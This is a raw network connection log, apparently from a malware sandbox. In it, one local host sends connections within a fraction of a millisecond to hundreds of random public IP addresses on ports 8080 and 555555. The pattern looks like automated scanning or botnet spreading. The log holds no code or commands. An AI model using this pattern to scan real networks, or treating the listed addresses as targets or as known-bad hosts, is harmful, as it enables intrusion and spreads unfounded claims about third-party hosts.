Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	193.11.71.203
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	172.169.224.142
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	184.147.133.69
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	1.19.104.56
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	212.91.3.0
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	64.1.244.180
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	57.202.132.235
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	98.89.59.1
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	172.135.111.125
Mar 21, 2024 05:21:09.910887957 CET	17306	8080	192.168.2.14	223.254.164.160
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	172.201.241.138
Mar 21, 2024 05:21:09.910887957 CET	17307	55555	192.168.2.14	184.224.6.84
Mar 21, 2024 05:21:09.910912991 CET	17307	55555	192.168.2.14	98.118.92.165
Mar 21, 2024 05:21:09.910912991 CET	17307	55555	192.168.2.14	98.24.144.22
Mar 21, 2024 05:21:09.910912991 CET	17306	8080	192.168.2.14	157.77.247.0
Mar 21, 2024 05:21:09.910912991 CET	17307	55555	192.168.2.14	98.92.171.184
Mar 21, 2024 05:21:09.910912991 CET	17306	8080	192.168.2.14	212.19.14.204
Mar 21, 2024 05:21:09.910945892 CET	17306	8080	192.168.2.14	78.138.237.165
Mar 21, 2024 05:21:09.910945892 CET	17306	8080	192.168.2.14	162.197.198.198
Mar 21, 2024 05:21:09.910945892 CET	17306	8080	192.168.2.14	156.198.214.105
Mar 21, 2024 05:21:09.910945892 CET	17306	8080	192.168.2.14	142.240.204.105
Mar 21, 2024 05:21:09.910948038 CET	17306	8080	192.168.2.14	34.129.13.23
Mar 21, 2024 05:21:09.910948038 CET	17306	8080	192.168.2.14	208.237.117.107
Mar 21, 2024 05:21:09.910948038 CET	17306	8080	192.168.2.14	65.140.116.96
Mar 21, 2024 05:21:09.910948038 CET	17306	8080	192.168.2.14	87.23.157.32
Mar 21, 2024 05:21:09.910967112 CET	17306	8080	192.168.2.14	125.0.206.34
Mar 21, 2024 05:21:09.910967112 CET	17306	8080	192.168.2.14	123.2.103.33
Mar 21, 2024 05:21:09.910967112 CET	17307	55555	192.168.2.14	172.237.43.15
Mar 21, 2024 05:21:09.910967112 CET	17306	8080	192.168.2.14	60.86.168.141
Mar 21, 2024 05:21:09.910967112 CET	17306	8080	192.168.2.14	13.199.92.116
Mar 21, 2024 05:21:09.910967112 CET	17306	8080	192.168.2.14	79.127.201.79
Mar 21, 2024 05:21:09.910967112 CET	17307	55555	192.168.2.14	172.84.79.253
Mar 21, 2024 05:21:09.910975933 CET	17306	8080	192.168.2.14	200.251.171.125
Mar 21, 2024 05:21:09.910975933 CET	17307	55555	192.168.2.14	172.77.151.125
Mar 21, 2024 05:21:09.910975933 CET	17306	8080	192.168.2.14	168.209.19.136
Mar 21, 2024 05:21:09.910975933 CET	17306	8080	192.168.2.14	66.215.250.117
Mar 21, 2024 05:21:09.910976887 CET	17307	55555	192.168.2.14	184.30.232.119
Mar 21, 2024 05:21:09.910976887 CET	17306	8080	192.168.2.14	163.143.253.7
Mar 21, 2024 05:21:09.910978079 CET	17307	55555	192.168.2.14	184.90.17.131
Mar 21, 2024 05:21:09.910976887 CET	17306	8080	192.168.2.14	99.13.143.171
Mar 21, 2024 05:21:09.910978079 CET	17306	8080	192.168.2.14	177.178.209.53
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	184.188.119.22
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	98.117.23.110
Mar 21, 2024 05:21:09.910976887 CET	17307	55555	192.168.2.14	184.191.114.40
Mar 21, 2024 05:21:09.910984039 CET	17307	55555	192.168.2.14	172.162.79.163
Mar 21, 2024 05:21:09.910985947 CET	17306	8080	192.168.2.14	211.182.234.72
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	172.154.172.36
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	144.33.98.12
Mar 21, 2024 05:21:09.910978079 CET	17307	55555	192.168.2.14	172.133.13.234
Mar 21, 2024 05:21:09.910984039 CET	17307	55555	192.168.2.14	172.101.251.83
Mar 21, 2024 05:21:09.910985947 CET	17307	55555	192.168.2.14	184.63.118.138
Mar 21, 2024 05:21:09.910984039 CET	17306	8080	192.168.2.14	147.58.17.224
Mar 21, 2024 05:21:09.910978079 CET	17306	8080	192.168.2.14	24.228.69.4
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	175.128.147.209
Mar 21, 2024 05:21:09.910985947 CET	17306	8080	192.168.2.14	154.193.144.36
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	98.192.24.66
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	198.191.158.159
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	98.104.147.215
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	2.122.86.133
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	12.223.171.25
Mar 21, 2024 05:21:09.910978079 CET	17306	8080	192.168.2.14	170.197.17.167
Mar 21, 2024 05:21:09.910984039 CET	17306	8080	192.168.2.14	223.2.207.143
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	98.132.82.214
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	185.3.74.115
Mar 21, 2024 05:21:09.910984039 CET	17306	8080	192.168.2.14	168.105.10.132
Mar 21, 2024 05:21:09.910978079 CET	17307	55555	192.168.2.14	98.132.38.103
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	79.16.166.0
Mar 21, 2024 05:21:09.910978079 CET	17306	8080	192.168.2.14	219.41.202.89
Mar 21, 2024 05:21:09.910979986 CET	17306	8080	192.168.2.14	43.177.57.158
Mar 21, 2024 05:21:09.910984039 CET	17307	55555	192.168.2.14	98.226.152.0
Mar 21, 2024 05:21:09.910999060 CET	17306	8080	192.168.2.14	68.199.220.48
Mar 21, 2024 05:21:09.910979986 CET	17307	55555	192.168.2.14	184.222.48.153
Mar 21, 2024 05:21:09.910980940 CET	17307	55555	192.168.2.14	98.253.95.123
Mar 21, 2024 05:21:09.910999060 CET	17307	55555	192.168.2.14	184.20.100.233
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	211.62.242.58
Mar 21, 2024 05:21:09.910999060 CET	17307	55555	192.168.2.14	184.38.182.0
Mar 21, 2024 05:21:09.910984039 CET	17306	8080	192.168.2.14	115.22.105.145
Mar 21, 2024 05:21:09.910980940 CET	17307	55555	192.168.2.14	184.174.129.162
Mar 21, 2024 05:21:09.910984039 CET	17306	8080	192.168.2.14	222.214.120.254
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	134.254.187.166
Mar 21, 2024 05:21:09.910980940 CET	17306	8080	192.168.2.14	5.201.109.207
Mar 21, 2024 05:21:09.910980940 CET	17307	55555	192.168.2.14	184.210.184.94
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	91.203.204.89
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	171.209.196.212
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	100.185.91.128
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	141.8.34.65
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	156.38.62.23
Mar 21, 2024 05:21:09.911032915 CET	17306	8080	192.168.2.14	128.244.218.13
Mar 21, 2024 05:21:09.911041021 CET	17306	8080	192.168.2.14	43.156.38.54
Mar 21, 2024 05:21:09.911041021 CET	17306	8080	192.168.2.14	98.60.158.101
Mar 21, 2024 05:21:09.911041021 CET	17307	55555	192.168.2.14	184.35.53.114
Mar 21, 2024 05:21:09.911041021 CET	17307	55555	192.168.2.14	98.35.26.36
Mar 21, 2024 05:21:09.911041021 CET	17307	55555	192.168.2.14	98.7.10.205
Mar 21, 2024 05:21:09.911041021 CET	17306	8080	192.168.2.14	43.67.233.233
Mar 21, 2024 05:21:09.911041021 CET	17306	8080	192.168.2.14	65.18.166.179
Mar 21, 2024 05:21:09.911041021 CET	17307	55555	192.168.2.14	98.0.179.87
Mar 21, 2024 05:21:09.911047935 CET	17307	55555	192.168.2.14	172.119.61.16
Mar 21, 2024 05:21:09.911047935 CET	17306	8080	192.168.2.14	178.116.227.67
Mar 21, 2024 05:21:09.911047935 CET	17307	55555	192.168.2.14	172.1.133.255
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	172.223.227.69
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	172.132.245.128
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	98.47.250.45
Mar 21, 2024 05:21:09.911113024 CET	17306	8080	192.168.2.14	25.26.106.127
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	172.32.156.245
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	98.142.236.16
Mar 21, 2024 05:21:09.911113024 CET	17307	55555	192.168.2.14	172.233.81.55
Mar 21, 2024 05:21:09.911113024 CET	17306	8080	192.168.2.14	209.205.219.241
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	141.197.227.191
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	73.208.43.253
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	105.167.30.230
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	185.4.10.241
Mar 21, 2024 05:21:09.911118031 CET	17307	55555	192.168.2.14	98.22.224.154
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	189.92.62.155
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	175.45.193.4
Mar 21, 2024 05:21:09.911118031 CET	17306	8080	192.168.2.14	52.155.0.40
Mar 21, 2024 05:21:09.911123037 CET	17306	8080	192.168.2.14	213.246.7.163
Mar 21, 2024 05:21:09.911123037 CET	17307	55555	192.168.2.14	184.198.17.248
Mar 21, 2024 05:21:09.911123037 CET	17306	8080	192.168.2.14	196.169.96.45
Mar 21, 2024 05:21:09.911123037 CET	17306	8080	192.168.2.14	130.197.29.59
Mar 21, 2024 05:21:09.911123037 CET	17306	8080	192.168.2.14	188.237.197.244
Mar 21, 2024 05:21:09.911123037 CET	17306	8080	192.168.2.14	120.213.249.189
Mar 21, 2024 05:21:09.911123037 CET	17307	55555	192.168.2.14	184.82.81.231
Mar 21, 2024 05:21:09.911123037 CET	17307	55555	192.168.2.14	184.190.49.58
Mar 21, 2024 05:21:09.911125898 CET	17306	8080	192.168.2.14	139.244.102.80
Mar 21, 2024 05:21:09.911125898 CET	17306	8080	192.168.2.14	17.46.51.112
Mar 21, 2024 05:21:09.911125898 CET	17307	55555	192.168.2.14	184.58.167.41
Mar 21, 2024 05:21:09.911125898 CET	17307	55555	192.168.2.14	172.176.174.201
Mar 21, 2024 05:21:09.911125898 CET	17306	8080	192.168.2.14	160.112.249.131
Mar 21, 2024 05:21:09.911125898 CET	17307	55555	192.168.2.14	98.45.24.144
Mar 21, 2024 05:21:09.911125898 CET	17306	8080	192.168.2.14	200.158.75.55
Mar 21, 2024 05:21:09.911125898 CET	17306	8080	192.168.2.14	47.83.80.153
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	174.254.221.200
Mar 21, 2024 05:21:09.911132097 CET	17307	55555	192.168.2.14	98.134.208.125
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	84.233.125.157
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	207.188.83.13
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	84.181.104.65
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	20.101.124.111
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	89.33.63.56
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	92.100.200.195
Mar 21, 2024 05:21:09.911132097 CET	17306	8080	192.168.2.14	158.132.237.224
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	8.221.235.205
Mar 21, 2024 05:21:09.911132097 CET	17307	55555	192.168.2.14	172.51.228.135
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	135.46.100.174
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	172.144.166.225
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	100.183.122.142
Mar 21, 2024 05:21:09.911133051 CET	17307	55555	192.168.2.14	172.164.97.191
Mar 21, 2024 05:21:09.911133051 CET	17306	8080	192.168.2.14	113.189.248.134
Mar 21, 2024 05:21:09.911159039 CET	17306	8080	192.168.2.14	162.232.204.188
Mar 21, 2024 05:21:09.911166906 CET	17306	8080	192.168.2.14	19.108.37.127
Mar 21, 2024 05:21:09.911166906 CET	17306	8080	192.168.2.14	34.221.209.141
Mar 21, 2024 05:21:09.911166906 CET	17307	55555	192.168.2.14	172.127.243.182
Mar 21, 2024 05:21:09.911166906 CET	17306	8080	192.168.2.14	97.31.147.54
Mar 21, 2024 05:21:09.911166906 CET	17307	55555	192.168.2.14	98.100.153.21
Mar 21, 2024 05:21:09.911166906 CET	17307	55555	192.168.2.14	184.110.8.91
Mar 21, 2024 05:21:09.911166906 CET	17306	8080	192.168.2.14	8.66.251.215
Mar 21, 2024 05:21:09.911189079 CET	17307	55555	192.168.2.14	98.163.74.215
Mar 21, 2024 05:21:09.911189079 CET	17307	55555	192.168.2.14	172.111.62.205
Mar 21, 2024 05:21:09.911189079 CET	17307	55555	192.168.2.14	172.173.142.167
Mar 21, 2024 05:21:09.911189079 CET	17306	8080	192.168.2.14	204.143.143.79
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	98.172.215.46
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	119.176.3.37
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	165.166.91.169
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	133.54.52.42
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	216.232.80.163
Mar 21, 2024 05:21:09.911191940 CET	17306	8080	192.168.2.14	198.198.124.198
Mar 21, 2024 05:21:09.911192894 CET	17306	8080	192.168.2.14	48.89.59.115
Mar 21, 2024 05:21:09.911192894 CET	17307	55555	192.168.2.14	172.97.17.201
Mar 21, 2024 05:21:09.911211967 CET	17306	8080	192.168.2.14	60.228.189.68
Mar 21, 2024 05:21:09.911211967 CET	17307	55555	192.168.2.14	98.238.7.208
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	157.72.208.233
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	46.55.45.106
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	61.64.79.36
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	149.215.20.20
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	182.55.22.85
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	83.54.157.192
Mar 21, 2024 05:21:09.911214113 CET	17306	8080	192.168.2.14	130.153.239.184
Mar 21, 2024 05:21:09.911217928 CET	17307	55555	192.168.2.14	98.131.237.194
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	83.162.178.113
Mar 21, 2024 05:21:09.911217928 CET	17307	55555	192.168.2.14	172.171.34.183
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	164.158.3.117
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	53.48.121.210
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	192.211.238.228
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	131.70.174.102
Mar 21, 2024 05:21:09.911217928 CET	17306	8080	192.168.2.14	80.91.5.209
Mar 21, 2024 05:21:09.911226988 CET	17306	8080	192.168.2.14	112.106.44.119
Mar 21, 2024 05:21:09.911226988 CET	17306	8080	192.168.2.14	145.165.152.73
Mar 21, 2024 05:21:09.911226988 CET	17306	8080	192.168.2.14	93.105.253.140
Mar 21, 2024 05:21:09.911226988 CET	17306	8080	192.168.2.14	166.172.121.197
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	4.216.90.63
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	202.179.236.119
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	184.179.106.14
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	140.11.111.146
Mar 21, 2024 05:21:09.911257029 CET	17307	55555	192.168.2.14	184.67.245.188
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	141.98.175.20
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	95.11.134.36
Mar 21, 2024 05:21:09.911257029 CET	17306	8080	192.168.2.14	189.106.160.247
Mar 21, 2024 05:21:09.911264896 CET	17306	8080	192.168.2.14	141.177.199.233
Mar 21, 2024 05:21:09.911267042 CET	17306	8080	192.168.2.14	61.148.101.204
Mar 21, 2024 05:21:09.911267042 CET	17306	8080	192.168.2.14	218.177.216.234
Mar 21, 2024 05:21:09.911267996 CET	17306	8080	192.168.2.14	129.121.45.74
Mar 21, 2024 05:21:09.911267996 CET	17306	8080	192.168.2.14	173.80.107.158
Mar 21, 2024 05:21:09.911267996 CET	17307	55555	192.168.2.14	98.110.76.106
Mar 21, 2024 05:21:09.911267996 CET	17306	8080	192.168.2.14	8.122.60.138
Mar 21, 2024 05:21:09.911267996 CET	17306	8080	192.168.2.14	14.126.84.114
Mar 21, 2024 05:21:09.911267996 CET	17306	8080	192.168.2.14	88.22.14.62
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	172.220.186.138
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	135.60.136.12
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	53.107.152.202
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	98.114.16.146
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	209.155.179.100
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	81.71.238.171
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	217.29.43.187
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	172.117.39.201
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	74.60.15.152
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	98.64.208.247
Mar 21, 2024 05:21:09.911288023 CET	17307	55555	192.168.2.14	184.126.3.176
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	172.239.130.163
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	13.234.91.189
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	53.89.18.38
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	107.125.26.202
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	60.27.34.8
Mar 21, 2024 05:21:09.911288023 CET	17306	8080	192.168.2.14	51.114.186.149
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	98.102.145.49
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	183.0.165.4
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	17.239.43.202
Mar 21, 2024 05:21:09.911287069 CET	17306	8080	192.168.2.14	45.236.160.88
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	98.213.178.91
Mar 21, 2024 05:21:09.911287069 CET	17307	55555	192.168.2.14	98.243.184.247
Mar 21, 2024 05:21:09.911298990 CET	17306	8080	192.168.2.14	110.25.82.44
Mar 21, 2024 05:21:09.911298990 CET	17306	8080	192.168.2.14	191.253.180.53
Mar 21, 2024 05:21:09.911298990 CET	17306	8080	192.168.2.14	80.230.222.167
Mar 21, 2024 05:21:09.911298990 CET	17306	8080	192.168.2.14	80.128.135.78
Mar 21, 2024 05:21:09.911305904 CET	17307	55555	192.168.2.14	98.167.208.86
Mar 21, 2024 05:21:09.911305904 CET	17306	8080	192.168.2.14	140.150.73.216
Mar 21, 2024 05:21:09.911307096 CET	17307	55555	192.168.2.14	98.22.183.182
Mar 21, 2024 05:21:09.911307096 CET	17306	8080	192.168.2.14	1.85.156.205
Mar 21, 2024 05:21:09.911307096 CET	17306	8080	192.168.2.14	221.208.230.120
Mar 21, 2024 05:21:09.911307096 CET	17306	8080	192.168.2.14	131.18.118.112
Mar 21, 2024 05:21:09.911307096 CET	17306	8080	192.168.2.14	67.68.185.26
Mar 21, 2024 05:21:09.911307096 CET	17307	55555	192.168.2.14	98.150.82.111
Mar 21, 2024 05:21:09.911308050 CET	17306	8080	192.168.2.14	81.165.50.242
Mar 21, 2024 05:21:09.911308050 CET	17306	8080	192.168.2.14	8.32.105.166
Mar 21, 2024 05:21:09.911308050 CET	17307	55555	192.168.2.14	98.123.215.61
Mar 21, 2024 05:21:09.911308050 CET	17307	55555	192.168.2.14	184.1.228.37
Mar 21, 2024 05:21:09.911308050 CET	17307	55555	192.168.2.14	184.131.97.205
Mar 21, 2024 05:21:09.911308050 CET	17306	8080	192.168.2.14	190.22.2.164
Mar 21, 2024 05:21:09.911308050 CET	17306	8080	192.168.2.14	202.176.92.19
Mar 21, 2024 05:21:09.911308050 CET	17306	8080	192.168.2.14	79.31.178.156
Mar 21, 2024 05:21:09.911314011 CET	17307	55555	192.168.2.14	98.215.119.45
Mar 21, 2024 05:21:09.911314011 CET	17307	55555	192.168.2.14	98.101.78.229
Mar 21, 2024 05:21:09.911314011 CET	17306	8080	192.168.2.14	177.124.30.203
Mar 21, 2024 05:21:09.911314011 CET	17306	8080	192.168.2.14	190.13.157.128
Mar 21, 2024 05:21:09.911314011 CET	17306	8080	192.168.2.14	168.215.147.79
Mar 21, 2024 05:21:09.911314011 CET	17306	8080	192.168.2.14	53.82.76.114
Mar 21, 2024 05:21:09.911314011 CET	17307	55555	192.168.2.14	184.243.18.138
Mar 21, 2024 05:21:09.911314011 CET	17307	55555	192.168.2.14	184.120.127.30
Mar 21, 2024 05:21:09.911320925 CET	17306	8080	192.168.2.14	130.1.59.185
Mar 21, 2024 05:21:09.911320925 CET	17306	8080	192.168.2.14	138.64.109.237
Mar 21, 2024 05:21:09.911320925 CET	17306	8080	192.168.2.14	183.131.228.202
Mar 21, 2024 05:21:09.911322117 CET	17307	55555	192.168.2.14	172.24.107.252
Mar 21, 2024 05:21:09.911322117 CET	17306	8080	192.168.2.14	58.25.44.207
Mar 21, 2024 05:21:09.911322117 CET	17306	8080	192.168.2.14	49.147.188.79
Mar 21, 2024 05:21:09.911322117 CET	17307	55555	192.168.2.14	172.199.251.103
Mar 21, 2024 05:21:09.911322117 CET	17306	8080	192.168.2.14	216.123.250.123
Mar 21, 2024 05:21:09.911340952 CET	17306	8080	192.168.2.14	219.14.73.213
Mar 21, 2024 05:21:09.911340952 CET	17307	55555	192.168.2.14	98.107.69.26
Mar 21, 2024 05:21:09.911340952 CET	17306	8080	192.168.2.14	109.47.216.132
Mar 21, 2024 05:21:09.911340952 CET	17307	55555	192.168.2.14	98.101.238.145
Mar 21, 2024 05:21:09.911340952 CET	17306	8080	192.168.2.14	190.150.165.135
Mar 21, 2024 05:21:09.911340952 CET	17306	8080	192.168.2.14	191.221.167.60
Mar 21, 2024 05:21:09.911340952 CET	17306	8080	192.168.2.14	51.131.243.160
Mar 21, 2024 05:21:09.911340952 CET	17307	55555	192.168.2.14	184.157.200.174
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	158.113.119.26
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	89.241.229.50
Mar 21, 2024 05:21:09.911382914 CET	17307	55555	192.168.2.14	172.122.74.225
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	218.176.102.213
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	63.136.59.119
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	177.76.94.192
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	83.93.14.113
Mar 21, 2024 05:21:09.911382914 CET	17306	8080	192.168.2.14	102.118.142.12
Mar 21, 2024 05:21:09.911410093 CET	17306	8080	192.168.2.14	145.42.247.69
Mar 21, 2024 05:21:09.911410093 CET	17306	8080	192.168.2.14	43.165.252.20
Mar 21, 2024 05:21:09.911410093 CET	17307	55555	192.168.2.14	98.183.114.107
Mar 21, 2024 05:21:09.911410093 CET	17306	8080	192.168.2.14	118.124.93.10
Mar 21, 2024 05:21:09.911410093 CET	17307	55555	192.168.2.14	184.173.176.53
Mar 21, 2024 05:21:09.911410093 CET	17306	8080	192.168.2.14	141.115.166.76
Mar 21, 2024 05:21:09.911410093 CET	17307	55555	192.168.2.14	172.142.140.130
Mar 21, 2024 05:21:09.911410093 CET	17306	8080	192.168.2.14	122.16.45.125
Mar 21, 2024 05:21:09.911418915 CET	17306	8080	192.168.2.14	126.142.58.181
Mar 21, 2024 05:21:09.911418915 CET	17306	8080	192.168.2.14	167.58.76.42
Mar 21, 2024 05:21:09.911418915 CET	17307	55555	192.168.2.14	172.151.183.56
Mar 21, 2024 05:21:09.911418915 CET	17306	8080	192.168.2.14	118.56.85.20
Mar 21, 2024 05:21:09.911418915 CET	17307	55555	192.168.2.14	98.95.3.201
Mar 21, 2024 05:21:09.911418915 CET	17307	55555	192.168.2.14	184.53.226.126
Mar 21, 2024 05:21:09.911418915 CET	17306	8080	192.168.2.14	18.150.37.4
Mar 21, 2024 05:21:09.911418915 CET	17307	55555	192.168.2.14	184.86.172.199
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	48.57.102.13
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	179.228.136.94
Mar 21, 2024 05:21:09.911434889 CET	17307	55555	192.168.2.14	98.252.85.109
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	20.24.243.192
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	88.187.172.5
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	31.139.251.167
Mar 21, 2024 05:21:09.911434889 CET	17307	55555	192.168.2.14	98.190.172.213
Mar 21, 2024 05:21:09.911434889 CET	17306	8080	192.168.2.14	115.206.209.36
Mar 21, 2024 05:21:09.911444902 CET	17307	55555	192.168.2.14	98.143.239.36
Mar 21, 2024 05:21:09.911444902 CET	17306	8080	192.168.2.14	209.75.249.60
Mar 21, 2024 05:21:09.911444902 CET	17307	55555	192.168.2.14	172.31.29.232
Mar 21, 2024 05:21:09.911444902 CET	17306	8080	192.168.2.14	73.144.168.3
Mar 21, 2024 05:21:09.911444902 CET	17307	55555	192.168.2.14	172.15.21.76
Mar 21, 2024 05:21:09.911444902 CET	17307	55555	192.168.2.14	172.89.183.190
Mar 21, 2024 05:21:09.911444902 CET	17307	55555	192.168.2.14	184.164.36.254
Mar 21, 2024 05:21:09.911444902 CET	17306	8080	192.168.2.14	125.74.108.12
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	152.73.49.160
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	110.46.184.74
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	23.2.176.241
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	32.21.33.72
Mar 21, 2024 05:21:09.911462069 CET	17307	55555	192.168.2.14	184.140.60.158
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	105.152.107.146
Mar 21, 2024 05:21:09.911462069 CET	17307	55555	192.168.2.14	172.248.200.220
Mar 21, 2024 05:21:09.911464930 CET	17307	55555	192.168.2.14	184.214.10.73
Mar 21, 2024 05:21:09.911462069 CET	17306	8080	192.168.2.14	110.170.36.222
Mar 21, 2024 05:21:09.911464930 CET	17307	55555	192.168.2.14	184.250.65.245
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	135.169.156.233
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	219.244.207.101
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	61.221.4.229
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	121.83.70.123
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	94.84.107.206
Mar 21, 2024 05:21:09.911465883 CET	17307	55555	192.168.2.14	98.1.158.86
Mar 21, 2024 05:21:09.911467075 CET	17306	8080	192.168.2.14	133.82.138.136
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	165.6.3.178
Mar 21, 2024 05:21:09.911467075 CET	17306	8080	192.168.2.14	119.55.120.134
Mar 21, 2024 05:21:09.911465883 CET	17306	8080	192.168.2.14	113.55.71.70
Mar 21, 2024 05:21:09.911467075 CET	17306	8080	192.168.2.14	217.125.249.127
